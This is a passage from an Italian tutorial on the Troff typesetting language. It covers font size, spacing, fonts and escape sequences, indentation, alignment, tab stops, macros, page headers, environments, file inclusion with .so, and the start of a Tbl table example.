Quando si usa la sequenza '**`\s`**' per specificare un valore composto da una sola cifra numerica, è importante che il carattere successivo non sia un numero, altrimenti si riesce a confondere Troff.

Il ridimensionamento dei caratteri viene usato normalmente assieme al controllo della distanza tra le righe. Per questo si usa il comando '**`.vs`**' (*Vertical space*).

```
.vs [n [unità_di_misura] ]
```

L'argomento numerico serve a precisare la distanza tra la base di una riga e la base di quella successiva. Il valore viene espresso normalmente in punti, a meno che sia specificato un tipo di unità di misura speciale. In mancanza dell'argomento numerico, il comando ripristina la distanza precedente.

Di solito, la distanza tipica tra le righe è pari al 120 % del corpo dei caratteri utilizzati.

Tra due righe può essere indicato anche uno spazio aggiuntivo, attraverso il comando '**.sp**' (*Space*).

```
.sp [n [unità_di_misura] ]
```

La sintassi di '**.sp**' è la stessa di '**.vs**', con la differenza che si riferisce a uno spazio aggiuntivo inserito una sola volta in corrispondenza della posizione del comando. In particolare, se '**.sp**' viene usato senza argomento, si ottiene una riga bianca vuota della dimensione attuale dell'altezza delle righe.

Segue la descrizione di alcuni esempi.

- ```
  Testo normale
  .ps 24
  testo ingrandito
  ```
  Cambia il corpo del testo che segue il comando, senza curarsi della distanza tra le righe.

- ```
  Il sistema operativo GNU/L\s8INUX\s0 funziona su...
  ```
  Ammesso che il testo normale abbia un corpo di 10 punti, fa in modo che la parola «LINUX» sia ottenuta con una lettera iniziale di dimensione normale e la parte restante con lettere leggermente ridotte (otto punti). Alla fine, il corpo precedente viene ripristinato.

- ```
  .ps 24
  .vs 28p
  ```
  Cambia la dimensione del corpo e della distanza tra le righe.

- ```
  .sp 1c
  ```
  Inserisce uno spazio verticale aggiuntivo di 1 cm.

28.2.3 Caratteri da stampa

Storicamente, la gestione dei tipi di carattere di Troff è stata piuttosto limitata: erano disponibili quattro aree all'interno delle quali potevano essere «montati» tipi differenti di carattere. Queste aree esistono anche nelle versioni più recenti di Troff e generalmente servono a contenere, nell'ordine: un carattere tondo, un corsivo, un neretto e una serie di simboli (che comunque si ottengono attraverso delle sequenze di escape). Per poter utilizzare caratteri differenti, occorreva sostituire il carattere di un'area, montando al suo posto quello desiderato. Attualmente, questa operazione non è più necessaria; generalmente si utilizzano i caratteri normali (quelli appena elencati) e si specifica un tipo di carattere differente da questi solo quando serve, senza bisogno di montarlo esplicitamente.

Quando si fa riferimento ai caratteri delle aree normali, si può utilizzare il comando '**.ft**' (*Font*), seguito da una sigla alfabetica che ne definisce la forma.

```
.ft [R|I|B]
```

Le lettere '**R**', '**I**', '**B**' indicano rispettivamente: *Roman*, *Italic* e *Bold*, riferendosi quindi a un carattere tondo normale, corsivo o neretto. Se non viene specificato l'argomento, il comando '**.ft**' ripristina il carattere usato precedentemente.

All'interno del testo può essere usata la sequenza '**\f**', seguita immediatamente da una delle lettere viste per l'argomento di '**.ft**'. In particolare, '**\fP**' serve a ripristinare il carattere precedente.

Prima di proseguire vale la pena di vedere il significato di un comando un po' strano: '**.ul**' (*Underline*). Letteralmente si tratta di una richiesta di «sottolineatura» che interviene solo nel testo del sorgente che lo segue immediatamente. Tuttavia, secondo la tipografia, il sottolineato è una forma di evidenziamento deprecabile, per cui questo si traduce in pratica in un corsivo.

Per utilizzare altri tipi di carattere oltre quelli standard che si trovano a essere già montati nel sistema di Troff, si può utilizzare il comando '**.ft**', seguito da un argomento che esprima direttamente il tipo di carattere scelto. A questo proposito, è bene chiarire che le sigle '**R**', '**I**' e '**B**' si riferiscono sempre ai tipi di carattere montati nelle prime tre aree standard, per cui, non è possibile caricare un tipo di carattere differente e pretendere poi di ottenerne il corsivo con il comando '**.ft I**'. La tabella 28.11 riporta l'elenco di alcuni tipi di carattere che dovrebbe essere possibile utilizzare con la propria realizzazione di Troff.

Tabella 28.11. Sigle di identificazione di alcuni tipi di carattere.

Sigla	Descrizione
`R`	Generalmente è il Times normale.
`I`	Generalmente è il Times obliquo.
`B`	Generalmente è il Times neretto.
`H`	Helvetica.
`HI`	Helvetica corsivo.
`HB`	Helvetica neretto.

Sigla	Descrizione
HBI	Helvetica neretto obliquo.
CR	Courier.
CI	Courier obliquo.
CB	Courier neretto.
CBI	Courier neretto obliquo.

I caratteri speciali, tra cui eventualmente anche le lettere accentate, possono essere ottenuti attraverso delle sequenze di escape che iniziano con '**\(**' e si compongono di altri due caratteri. La tabella 28.12 mostra l'elenco di alcune di queste sequenze riferite alle lettere accentate.

Tabella 28.12. Alcune sequenze di escape per le lettere accentate di Troff.

\('a	á	\('A	Á	\(^a	â	\(^A	Â	\(`a	à
\(`A	À	\(oa	å	\(oA	Å	\(~a	ã	\(~A	Ã
\(:a	ä	\(:A	Ä	\(ae	æ	\(AE	Æ	\(,c	ç
\(,C	Ç	\('e	é	\('E	É	\(^e	ê	\(^E	Ê
\(`e	è	\(`E	È	\(:e	ë	\(:E	Ë	\(`i	í
\(`I	Í	\(^i	î	\(^I	Î	\(`i	ì	\(`I	Ì
\(:i	ï	\(:I	Ï	\(~n	ñ	\(~N	Ñ	\('o	ó
\('O	Ó	\(^o	ô	\(^O	Ô	\(`o	ò	\(`O	Ò
\(/o	ø	\(/O	Ø	\(~o	õ	\(~O	Õ	\(:o	ö
\(:O	Ö	\('u	ú	\('U	Ú	\(^u	û	\(^U	Û
\(`u	ù	\(`U	Ù	\(:u	ü	\(:U	Ü	\('y	ý
\('Y	Ý	\(:y	ÿ	\(ss	ß				

Quando si utilizza Troff di GNU si può scrivere il sorgente Troff utilizzando la codifica ISO 8859-1; tuttavia, mancando ancora la capacità di leggere un file in formato UTF-8, è meglio scrivere il sorgente secondo il metodo tradizionale; inoltre, ci sono altre sequenze che sono indispensabili per ottenere effetti tipografici particolari. La tabella 28.13 riassume i casi più importanti.

Tabella 28.13. Caratteri e sequenze di escape per ottenere simboli speciali che vanno oltre la codifica utilizzata.

Sequenza	Descrizione
`\e`	Barra obliqua inversa (‘\’).
`\'`	Accento acuto ben distinguibile.
`` \` ``	Accento grave ben distinguibile.
`-`	Trattino corto.
`\(hy`	Trattino corto di sillabazione.
`\-`	Il segno meno (‘−’).
`\(mi`	Il segno meno (‘−’).
`\(em`	Trattino lungo.
`\(ru`	Trattino basso.
`\(ul`	Trattino di sottolineatura (più basso).
`\(rn`	Trattino alto.
`\(bu`	Pallino.
`\(sq`	Quadratino.

Infine, Troff consente l’uso delle lettere greche, utilizzando delle sequenze di escape che iniziano per ‘**`\(*`**’ seguite immediatamente da una lettera (dell’alfabeto latino-inglese) che in qualche modo può avere una corrispondenza con quella greca.

Segue la descrizione di alcuni esempi.

- ```
  .ft B
  ```
  Il testo a partire dalla riga successiva del sorgente Troff, viene reso in neretto.

- ```
  .ft
  ```
  Ripristina il carattere utilizzato in precedenza.

  ```
  Testo normale \fBtesto in neretto\fP testo normale.
  ```
  Nella frase, il pezzo ‘**`testo in neretto`**’ viene reso in neretto. La sequenza ‘**`\fP`**’ serve a ripristinare il carattere precedente.

- ```
  .ft H
  ```
  Il testo a partire dalla riga successiva del sorgente Troff, viene reso con il carattere Helvetica normale.
  ```

- ```
  .ft HI
  ```
  Il testo a partire dalla riga successiva del sorgente Troff, viene reso con il carattere Helvetica obliquo.

- ```
  L'opzione \-ms serve a definire l'uso del pacchetto di macro «s».
  ```
  Attraverso la sequenza '**\-**', viene richiesto espressamente l'uso di un trattino normale.

- ```
  L'opzione
  .ft CR
  \-ms
  .ft
  serve a definire l'uso del pacchetto di macro «s».
  ```
  Come nell'esempio precedente, ma il testo '**-ms**' viene reso con il carattere Courier che risulta più adatto (essendo a larghezza fissa).

- ```
  Il file
  .ft CR
  mio\(rufile
  .ft
  serve a...
  ```
  Fa in modo che la parola '**mio_file**' appaia in Courier, utilizzando in particolare un trattino basso.

- ```
  \(*b
  ```
  La lettera greca beta minuscola.

- ```
  \(*W
  ```
  La lettera greca omega maiuscola.

- ```
  \(*w
  ```
  La lettera greca omega minuscola.

28.2.4 Rientri e dimensioni varie

Il dimensionamento della pagina e del testo all'interno di questa, avviene in modo un po' strano. Per cominciare, il foglio normale di riferimento è il formato lettera (8,5 in × 11 in); all'interno di questo spazio può essere definito un margine sinistro e una larghezza della riga. I margini superiore e inferiore sono generalmente predefiniti attraverso il pacchetto di macro utilizzato.

Se non si vuole approfondire l'uso di Troff, conviene limitarsi ad accettare il più possibile le convenzioni del pacchetto di macro tradizionale, quello che viene richiamato con l'opzione '**-ms**'. Questo significa che il foglio è in formato lettera (anche se poi si stampa su un A4) e i margini superiore e inferiore sono di un pollice di altezza.

Il margine sinistro della pagina può essere modificato attraverso il comando '**.po**' (*Page offset*), che viene usato normalmente prima di iniziare il testo del documento.
  ```

```
.po n [unità_di_misura]
```

Per definire la larghezza del testo si utilizza il comando '**.ll**' (*Line length*). Anche questo può essere usato con valori di incremento o di riduzione, per mantenere un riferimento con il testo precedente.

```
.ll [+|-] n [unità_di_misura]
```

All'interno del testo è possibile modificare il margine con il comando '**.in**' che fa riferimento al margine assoluto della pagina. Spesso, il comando '**.in**' viene usato con valori di incremento o di riduzione, in modo da mantenere un riferimento con la situazione precedente del testo.

```
.in [+|-] n [unità_di_misura]
```

Incrementando il rientro con il comando '**.in**', si riduce conseguentemente la larghezza della riga; se invece lo si diminuisce, la larghezza della riga aumenta in relazione. Questo serve a mantenere il margine destro invariato, a seguito dell'utilizzo del comando '**.in**'.

Per ottenere il rientro di una sola riga, si utilizza il comando '**.ti**'.

```
.ti [+|-] n [unità_di_misura]
```

I comandi che sono stati descritti accettano tutti delle dimensioni espresse anche in forma frazionaria, utilizzando il punto per separare la parte intera dalle cifre decimali.

Segue la descrizione di alcuni esempi.

- ```
  .po 0
  ```
  Pone il margine sinistro della pagina al valore minimo possibile.

- ```
  .po 1i
  ```
  Pone il margine sinistro della pagina a un pollice.

  ```
  .in 1c
  ```
  Inizia un margine sinistro che si pone a un centimetro più a destra del margine della pagina.

- ```
  .in +1c
  ```
  Incrementa il margine sinistro di un centimetro.

- ```
  .ll 15.5c
  ```
  Definisce la larghezza del testo di 15,5 cm.

- ```
  .in +0.5c
  .ll -0.5c
  Testo…
  .ll +0.5c
  .in -0.5c
  ```
  Rientra il testo a sinistra di un mezzo centimetro e anche a destra della stessa dimensione, riducendo la larghezza della riga. Dopo la scrittura del testo (che così appare inscatolato), vengono ripristinate le dimensioni precedenti.

- ```
  .ti +1c
  ```
  La prima riga del paragrafo che segue il comando viene scritta con un rientro di un centimetro.

- ```
  .ti -1c
  ```
  Rientra all'indietro di un centimetro.

28.2.5 Allineamento e interruzione del testo

Di solito, utilizzando il pacchetto di macro '**s**', si ottiene un documento in cui il testo è allineato a sinistra e a destra (giustificato); inoltre, le righe del sorgente che appaiono in sequenza, senza spazi verticali intermedi, vengono unite assieme. Per indicare esplicitamente un'interruzione di riga si può usare il comando '**.br**' (*Break*) che non prevede alcun argomento. Inoltre, per richiedere espressamente di saltare una pagina, si può usare il comando '**.bp**' (*Break page*), nello stesso modo.

Si è accennato al fatto che normalmente il testo contenuto nel sorgente viene riunito assieme prima di definire l'impaginazione finale. Per richiedere esplicitamente questo comportamento, si utilizza il comando '**.fi**' (*Fill*), mentre per fare in modo che vengano rispettate le interruzioni di riga che appaiono nel sorgente, si usa il comando '**.nf**' (*No fill*).

L'allineamento del testo viene richiesto attraverso il comando '**.ad**' (*Adjust*) con un argomento composto da una lettera che permette di scegliere come allinearlo.

```
.ad l|r|c|b
```

Le lettere '**l**', '**r**', '**c**' e '**b**' servono a richiedere rispettivamente l'allineamento sinistro, destro, centrato, o simultaneo (destra e sinistra).

Eventualmente, il comando '**.ce**' permette di ottenere la centratura di un certo numero di righe del sorgente.

```
.ce n_righe
```

Segue la descrizione di alcuni esempi.
```

- ```
  Bla bla bla...
  .br
  qui inizia una riga nuova
  ```
  Il testo viene interrotto esplicitamente in modo da farlo riprendere in una riga successiva.

- ```
  .ft CR
  .nf
  uno     due    tre
  quattro cinque sei
  .fi
  .ft
  ```
  Viene riportato del testo catturato da un comando o da una schermata. Per questo si utilizza il carattere Courier e si specifica che le interruzioni di riga devono essere rispettate. Alla fine, viene ripristinato il comportamento normale.

- ```
  .ad r
  testo a bandierina allineato a destra

  .ad b
  testo allineato simultaneamente a sinistra e a destra.
  ```
  Allinea il testo a destra e successivamente lo rimette nella situazione normale di allineamento simultaneo.

- ```
  .ce 1
  testo centrato
  testo normale
  ```
  Centra solo la prima riga successiva del testo che appare nel sorgente.

28.2.6 Tabulazioni

La tabulazione orizzontale che si ottiene con il codice ASCII <*HT*>, viene interpretata regolarmente da Troff, che lo intende come un salto allo ***stop di tabulazione*** successivo. Questi stop possono essere regolati attraverso il comando '**`.ta`**', ma se non sono definiti espressamente, Troff utilizza gli stop predefiniti che dovrebbero trovarsi ogni quarto di pollice (poco più di mezzo centimetro).

`.ta` ***stop_1 stop_2***...

L'argomento di '**`.ta`**' è costituito da una serie di numeri (seguiti dall'unità di misura) che esprimono la distanza degli stop di tabulazione dal margine sinistro del testo.

Generalmente, quando si usano gli stop di tabulazione per scrivere delle tabelle elementari, si fa in modo che le interruzioni di riga vengano rispettate, attraverso l'uso del comando '**`.nf`**'.

Quando si cerca di incolonnare dei numeri, può essere utile la sequenza '**`\0`**' che si traduce in uno spazio orizzontale della stessa ampiezza di una cifra numerica.

Infine, attraverso il comando '**.tc**' è possibile richiedere l'utilizzo di un carattere particolare per riempire lo spazio della tabulazione. '**.tc**' richiede un argomento composto da un solo carattere, anche una sequenza di escape.

```
.tc carattere_di_riempimento
```

Segue la descrizione di alcuni esempi.

- ```
  .nf
  .ta 3c 6c 9c
          1       2       3
          11      22      333
  .fi
  ```
  Dopo aver fatto in modo che vengano rispettate le interruzioni di riga che appaiono nel sorgente, definisce tre stop di tabulazione a 3 cm, 6 cm e 9 cm, rispettivamente. Il contenuto della tabella appare allineato a sinistra.

- ```
  .nf
  .tc \(ru
  .ta 15c
  Nominativo      ,
  .ta 3c 7c 12c 15c
  CAP     Citt\('a        Via     N.      ,
  .fi

  bla bla bla
  ```
  Questo rappresenta un esempio un po' più complesso, dove si vuole predisporre un modello da compilare. Si osservi la riga in cui appare la parola '**Nominativo**': lo spazio che si vede prima della virgola è ottenuto con un carattere di tabulazione orizzontale che viene riempito da caratteri '**\(ru**', corrispondenti a trattini bassi. Ogni volta che il modello cambia elementi, occorre ridefinire la posizione degli stop di tabulazione.

  ```
  Nominativo___________________________________________________,
  CAP________Città_________________Via______________________N.____________,

  bla bla bla
  ```

28.2.7 Comandi che causano un «break»

Nella logica di funzionamento di Troff, alcuni comandi causano un'interruzione nel flusso del testo, costringendo Troff a interromperlo e a riprenderlo nella riga successiva. Un esempio evidente è dato dal comando '**.br**', che si usa proprio per questo: ottenere un'interruzione di riga nel documento finale. Anche l'utilizzo di altri comandi implica un'interruzione del testo, benché questo non venga richiesto esplicitamente:

`.br`	interruzione di riga;
`.bp`	interruzione di pagina;
`.sp`	spazio verticale;
`.in`	margine sinistro;
`.ti`	rientro temporaneo;
`.nf`	rispetto delle interruzioni nel sorgente;
`.fi`	scorrimento del testo indipendente dalle interruzioni che appaiono nel sorgente;
`.ce`	centratura di alcune righe successive.

Il fatto che questi comandi interrompano il flusso del testo dovrebbe apparire logico al lettore; probabilmente si potrebbe trovare strano il fatto che il comando '**`.ad`**' non faccia parte di questo gruppo. Troff consente di spogliare questi comandi della funzionalità di interruzione (o *break*), sostituendo il punto iniziale con un apostrofo. Per fare un esempio estremo, '**`'br`**' diventa un'interruzione di riga senza interruzione, in pratica non serve più. Si osservi comunque l'esempio seguente:

```
bla bla bla bla...
Bla bla bla bla
'sp 1c
bla bla bla bla...
```

Si mostra l'uso del comando '**`'sp 1c`**' che ha lo scopo di inserire uno spazio verticale di un centimetro. Avendo usato l'apostrofo al posto del punto, lo spazio viene inserito quando il testo precedente è arrivato alla fine della riga. In pratica, parte del testo che si trova sopra il comando potrebbe essere riprodotto nel documento finale **dopo** lo spazio verticale.

Chi ha difficoltà a comprendere il senso della cosa, può limitarsi a tenere a mente che è opportuno privare questi comandi della funzione di interruzione di riga quando questi vengono usati per predisporre delle intestazioni o dei piè di pagina.

28.2.8 Macro

Troff consente di creare i propri comandi, ovvero delle macro, che permettono di semplificare e uniformare il proprio documento. Per comprendere il senso di questo occorre presentare subito un esempio; si osservi il testo seguente:

```
.de T1
.sp
.ft B
..
```

Questo pezzo di istruzioni Troff serve a dichiarare la macro '**T1**' che quando utilizzata si traduce nei comandi '**.sp**' e '**.ft B**'. Si intuisce che il comando '**.de**' serva a iniziare la dichiarazione della macro e i due punti in orizzontale finali servano a concluderne la dichiarazione.

.de ***nome_macro***
dichiarazione
dichiarazione
...
dichiarazione
..

Il nome della macro che si crea deve essere di due caratteri e generalmente si utilizzano le lettere maiuscole in modo da essere certi di non interferire con i comandi normali di Troff.

Si noti che il nome della macro che si dichiara non ha il punto iniziale.

Tornando all'esempio, la macro '**T1**' potrebbe servire per spaziare ed evidenziare un titolo di qualcosa. Usandola, occorre ricordare che modifica il tipo di carattere, dal momento che passa alla scrittura in neretto; volendo si può preparare un'altra macro per uniformare i paragrafi normali.

```
.de P1
.ft R
.ti +1m
..
```

Questa volta viene dichiarata la macro '**P1**' con lo scopo di ripristinare l'uso del carattere normale e di inserire un rientro temporaneo della prima riga (di un quadratone), così da ottenere un paragrafo con rientro iniziale. Quello che si vede sotto è un esempio di utilizzo di queste macro.

```
.T1
Introduzione al documento

.P1
Questo paragrafo tratta dell'inizio della fine e viceversa...

.P1
Questo paragrafo parla d'altro...

.T1
Approfondimento

.P1
\('E nato prima l'uovo o la gallina?
```

Un esempio un po' più interessante potrebbe essere quello della definizione di due macro allo scopo di semplificare la scrittura di testo circoscritto in qualche modo, per esempio per mostrare ciò che appare su un terminale o quello che si ottiene da una stampa.

```
.de TA
.ft CR
.ps 8
.in +2m
.nf
..
```

```
.de TC
.fi
.in -2m
.ps
.ft
..
```

La prima macro serve a iniziare la scrittura in Courier con un corpo leggermente più piccolo del solito, rispettando le interruzioni di riga e aggiungendo due quadratoni al margine sinistro. La seconda serve a ripristinare la situazione precedente. Si osservi l'esempio seguente in cui si mostra in che modo utilizzarle.

```
Il comando ls \-l mostra un elenco simile a quello seguente:

.TA
-rwxr-xr-x   1 root     root         2864 ott 14 06:44 arch
-rwxr-xr-x   1 root     root        62660 ago 29 01:43 ash
-rwxr-xr-x   1 root     root         4892 ago  5 21:15 basename
-rwxr-xr-x   1 root     root       353944 ott 13 01:23 bash
 …
.TC

Si osservi in particolare la propriet\('a dei file…
```

Si comprende che il vantaggio di usare le macro sta nella possibilità di uniformare lo stile personale del documento e di poter modificare tale stile in modo più facile, intervenendo solo sulla definizione delle macro stesse.

Infine, è bene accennare alla possibilità di dichiarare delle macro con argomenti: all'interno della definizione di una macro, le sequenze formate da '**\\$*n***', dove ***n*** è un numero da uno a nove, rappresentano l'***n***-esimo argomento. Si osservi l'esempio seguente:

```
.de DO
.br
data: \\$1
.br
ora: \\$2
.br
..
```

In questo modo, la macro '**.DO**' permette di fornire due argomenti che rappresentino rispettivamente una data e un'ora.

```
bla bla bla
.DO 11/11/2011 11:11
bla...
```

Utilizzando la macro nel modo appena mostrato, si ottiene il testo seguente:

```
bla bla bla
data: 11/11/2011
ora: 11:11
bla...
```

Gli argomenti di una macro di distinguono in quanto separati da uno o più spazi. Se è necessario fornire un argomento che contiene spazi, occorre delimitarlo attraverso virgolette, come si vede nell'esempio che appare sotto.

```
.DO "11 11 2011" 11:11
```

28.2.9 Margini e Intestazioni

Se si utilizza un pacchetto di macro come '**s**', questo si occupa da solo di dare alle pagine un'intestazione composta dal numero di pagina (a partire dalla seconda). Se si vuole fare a meno di un pacchetto di macro esterno, si può realizzare la propria intestazione ed eventualmente il proprio piè di pagina.[2]

La stampa di un'intestazione deve avvenire in modo regolare, ogni volta che si raggiunge la «fine» di una pagina. Troff non permette di definire esplicitamente i margini superiore e inferiore; questo lo deve fare il pacchetto di macro prescelto, oppure l'utente attraverso il controllo dato dal comando '**.wh**' (*When*).

.wh [-] ***n_collocazione_verticale*** [***unità***] ***macro***

Il comando '**.wh**' permette di definire una «trappola» in corrispondenza di una particolare posizione verticale del testo; se il valore di tale collocazione è negativo, si intende riferito alla distanza dalla fine del foglio. Quando il testo del documento finale arriva al punto della trappola, si ottiene l'esecuzione della macro indicata come secondo argomento. Si osservi l'esempio:

```
.wh -2.5c PA
```

Quello che si vede serve a fare in modo che quando mancano meno di 2,5 cm dalla fine del foglio, venga eseguita la macro '**.PA**'. Si osservi a questo proposito che nel comando '**.wh**' la macro viene indicata senza il punto consueto.

```
.de PA
'bp
..
```

L'esempio che si vede sopra è la creazione della macro '**PA**', che ovviamente deve apparire prima di qualunque utilizzo, specialmente prima del comando '**.wh**' che serve a richiamarla. La macro mostrata è la più banale possibile: si limita a eseguire un salto pagina ('**.bp**'), senza imporre l'interruzione di riga. In pratica, quando scatta la trappola a 2,5 cm dalla fine del foglio, **viene completata la riga** e quindi la «carta» viene fatta avanzare fino all'inizio di una nuova pagina.

Quanto mostrato fino a questo punto serve solo a ottenere un margine inferiore di 2,5 cm e niente altro. Per inserire un margine superiore (che possa intervenire a partire dalla seconda pagina), occorre aggiungere qualcosa alla macro '**PA**':

```
.de PA
'bp
'sp 2.5c
..
```

Come si vede, è stato aggiunto il comando '**'sp 2.5c**' per ottenere lo stesso margine anche all'inizio della pagina.

È bene osservare che lavorando in questo modo, il margine superiore della prima pagina deve essere gestito direttamente nel testo, attraverso un comando '**.sp**' o qualcosa di simile. Tuttavia, di solito la prima pagina viene usata come copertina, per cui non si avverte il problema del margine superiore che può funzionare automaticamente solo a partire dalla seconda.

Per preparare un'intestazione come si è abituati a vederle di solito, occorre mostrare il funzionamento del comando '**.tl**'. Questo permette di definire una riga da collocare in un'intestazione, suddivisa in tre parti che si traducono in testo che viene poi allineato a sinistra, al centro e a destra.

```
.tl 'testo_a_sinistra'testo_al_centro'testo_a_destra'
```

Questo comando viene usato normalmente solo nelle intestazioni (o nei piè di pagina) e ha la particolarità di sostituire il carattere di percentuale ('**%**') con il numero delle pagina. L'esempio seguente mostra la solita macro '**PA**' un po' più raffinata.

```
.de PA
'bp
'sp 1.5c
.tl 'Introduzione a Troff''pagina %'
'sp 0.7c
..
```

In pratica, ogni volta che viene richiamata la macro, questa salta una pagina e dopo 1,5 cm stampa l'intestazione (nella parte centrale non c'è alcun testo), dove in particolare appare il numero della pagina all'estrema destra. Infine, dopo 0,7 cm continua il testo normale.

È bene ripetere che se si vogliono gestire direttamente i margini e le intestazioni, come negli esempi mostrati qui, è opportuno evitare di utilizzare stili esterni attraverso l'inclusione di pacchetti di macro richiamati con l'opzione '**-m**' di Troff.

28.2.10 Ambienti

Da quanto visto fino a questo punto su Troff, si può notare una certa difficoltà nel ripristinare l'impostazione precedente a una serie di comandi. In aiuto del compositore è possibile definire degli ambienti, uscendo dai quali si ripristina tutto come prima. Un ambiente viene definito con il comando '**.ev**' (*Environment*), con il quale si seleziona un numero di ambiente prima di iniziare con una serie di comandi. Quando si vuole ripristinare tutto come prima, basta richiamare il comando '**.ev**' senza argomenti.

```
.ev [n_ambiente]
```

Gli ambienti sono numerati a partire da zero; nella versione originale di Troff erano solo quattro (dal numero zero al numero tre), mentre nelle realizzazioni attuali possono essere molti di più. Per comprendere il funzionamento di questi dovrebbe bastare un esempio. Nella sezione precedente è stato visto come creare un'intestazione; considerando che il testo normale potrebbe essere inserito nell'ambiente zero, si potrebbe cambiare la definizione della macro di intestazione nel modo seguente:

```
.de PA
.ev 1
'bp
'sp 1.5c
.ps 8
.ft H
.tl 'Introduzione a Troff''pagina %'
'sp 0.7c
.ev
..
```

In questo modo viene definito un carattere Helvetica di otto punti. Alla fine, prima della conclusione della macro, viene ripristinato l'ambiente precedente.

28.2.11 Titoli

Nella sezione in cui si mostrava la preparazione di un'intestazione si è visto l'uso del comando '**.tl**' (*Title line*), ma è il caso di approfondire un po' la cosa. '**.tl**' serve per generare una sorta di titolo diviso in tre parti allineate rispettivamente a sinistra, al centro e a destra. Dal momento che per Troff non esiste una grande differenza tra le due cose, questo titolo può trovarsi sia in un'intestazione che nel testo normale. Il simbolo di delimitazione delle tre parti che lo compongono viene deciso nel momento in cui si scrivono le tre stringhe. Per esempio, nel comando

```
.tl 'sinistra'centro'destra'
```

il simbolo di delimitazione è l'apostrofo, ma potrebbe essere qualunque altra cosa, specialmente se l'apostrofo serve nel testo dell'intestazione.

```
.tl "L'altra faccia della medaglia""pagina %"
```

Anche il simbolo usato per inserire il numero della pagina non è sempre lo stesso; quello comune è '`%`', ma può essere modificato con il comando '`.pc`' (*Page character*).

```
.pc x
```

Per esempio, si potrebbe decidere di sostituirlo con un dollaro:

```
.pc $
.tl "Carta riciclata al 100%""pagina $"
```

Infine, il comando '`.tl`' è autonomo per quel che riguarda la larghezza della riga. Se si vogliono cambiare i margini laterali, intervenendo anche con il comando '`.ll`', conviene adeguare conseguentemente anche la larghezza del titolo su riga. Per questo si utilizza il comando '`.lt`' (*Length of title*).

```
.lt [+|-] n [unità_di_misura]
```

Nell'esempio seguente viene ridefinita la larghezza della riga del testo normale e anche quella del titolo su una riga.

```
.ll 10c
.lt 10c
```

28.2.12 Importazione di file esterni

Attraverso il comando '`.so`' è possibile incorporare un sorgente Troff esterno.

```
.so file
```

Alle volte viene utilizzato questo sistema per creare delle pagine di manuale con nomi differenti ma con lo stesso contenuto, evitando di utilizzare i collegamenti ai file.

Tabella 28.61. Riassunto dei comandi vitali di Troff.

Comando	Break	Descrizione
`.ps [[+|-]n]`		Dimensione del carattere in punti.
`\sn`		Dimensione del carattere in punti.
`.vs [n [unità]]`		Interlinea.
`.sp [n [unità]]`	break	Spazio aggiuntivo verticale.

Comando	Break	Descrizione
`.ft` [*sigla*]		Scelta di un tipo di carattere.
`\f`***x***		Scelta di un tipo di carattere.
`.po` ***n*** [*unità*]		Margine sinistro della pagina.
`.ll` [+|-] ***n*** [*unità*]		Larghezza della riga.
`.in` [+|-] ***n*** [*unità*]	break	Margine sinistro del testo.
`.ti` [+|-] ***n*** [*unità*]	break	Rientro temporaneo.
`.br`	break	Interruzione di riga esplicita.
`.bp`	break	Interruzione di pagina esplicita.
`.fi`	break	Unione delle righe adiacenti nel sorgente.
`.nf`	break	Mantenimento delle interruzioni di riga del sorgente.
`.ad l|r|c|b`		Allineamento del testo.
`.ce` ***n***	break	Centratura di alcune righe successive del sorgente.
`.ta` ***nunità***...		Definizione degli stop di tabulazione.
`.tc` ***x***		Definizione del carattere di riempimento delle tabulazioni.
`.de` ***xx***		Dichiarazione dell'inizio di una macro.
`..`		Conclusione di una macro.
`.tl` ***'sx'centro'dx'***		Titolo su una riga.
`.lt` [+|-] ***n*** [*unità*]		Larghezza di un titolo su riga.
`.ev` [***n***]		Selezione di un ambiente.
`.so` ***file***		Inclusione di un file esterno.

Segue la descrizione di alcuni esempi.

- ```
  .so presentazione

  bla bla bla...
  ```

  L'esempio mostra l'inclusione del file '`presentazione`' che deve trovarsi nella directory corrente nel momento in cui viene elaborato il file principale da Troff.

- ```
  .so man1/gs.1
  ```

Questo è l'esempio del file '/usr/man/man1/ghostscript.1' che fa semplicemente riferimento al file 'man1/gs.1'.

28.3 Precompilatori

Il linguaggio di composizione Troff consente l'uso di comandi molto più raffinati di quanto non sia stato mostrato, permettendo la rappresentazione di oggetti di vario tipo, compreso il disegno di curve. Per gestire queste funzionalità senza troppa fatica, sono stati realizzati dei programmi esterni che si occupano di analizzare preventivamente un sorgente Troff, in modo da trasformare alcuni comandi particolari in codice di basso livello adatto a Troff. Il concetto è simile a quello del precompilatore del linguaggio C, con il quale, attraverso istruzioni apposite, si genera un sorgente specifico prima della compilazione vera e propria.

I programmi di pre-elaborazione più comuni per quanto riguarda Troff sono: Tbl, Eqn e Pic. Il primo è specializzato nella preparazione di tabelle, il secondo serve a facilitare la scrittura di equazioni e il terzo facilita il disegno di curve. In generale, un sorgente Troff che contenga simultaneamente tabelle, equazioni e disegni, andrebbe analizzato attraverso un condotto simile a quello seguente:

```
cat file_troff | tbl | eqn | pic | troff | ...
```

Qui viene mostrato solo qualche esempio dell'uso di tabelle ed equazioni; alla fine del capitolo si trovano i riferimenti per approfondire l'uso di Troff e di questi programmi aggiuntivi.

28.3.1 Tbl

Tbl filtra un file Troff alla ricerca di tabelle delimitate dalle macro '**.TS**' e '**.TE**'; se ne trova, trasforma la descrizione di queste in qualcosa di adatto a Troff. In modo semplificato, si può rappresentare la struttura di una tabella di Tbl nel modo seguente:

```
.TS
[opzioni;]
formato_celle.
contenuto_celle
.TE
```

Le opzioni sono rappresentate da una serie di parole chiave, facoltative, che descrivono la tabella in modo complessivo, terminate alla fine da un punto e virgola. Se si utilizzano, queste parole sono separate da uno spazio e probabilmente devono apparire sulla stessa riga del sorgente.

Il formato delle celle è un elenco di simboli composti da una sola lettera che servono a indicare l'allineamento del testo contenuto al loro interno. Utilizzano più righe, una per ogni riga della tabella finale, dove in particolare l'ultima definizione riguarda tutte le righe rimanenti della tabella.

Il contenuto della tabella viene scritto separando gli elementi di ogni riga attraverso un carattere di tabulazione.

La descrizione non viene approfondita ulteriormente. Gli esempi dovrebbero rendere l'idea del funzionamento di queste tabelle, il cui uso può essere appreso con maggiore dettaglio leggendo la documentazione indicata alla fine del capitolo.

Si suppone di voler realizzare una tabella simile allo schema seguente:

```
.-----------------------------------------------.
|                  Intestazione                 |
|-----------------------------------------------|
|         Nominativo          |      Telefono   |
|-----------------------------------------------|
| Tizio Tizi                  | 0987,654321     |
|-----------------------------------------------|
| Caio Cai                    | 0876,543210     |
|-----------------------------------------------|
| Sempronio Semproni          | 0765,43210123   |
'-----------------------------------------------'
```

Questa tabella si può rappresentare attraverso Tbl nel modo seguente:

```
.TS
allbox;
c s
c c
l l.
Intestazione
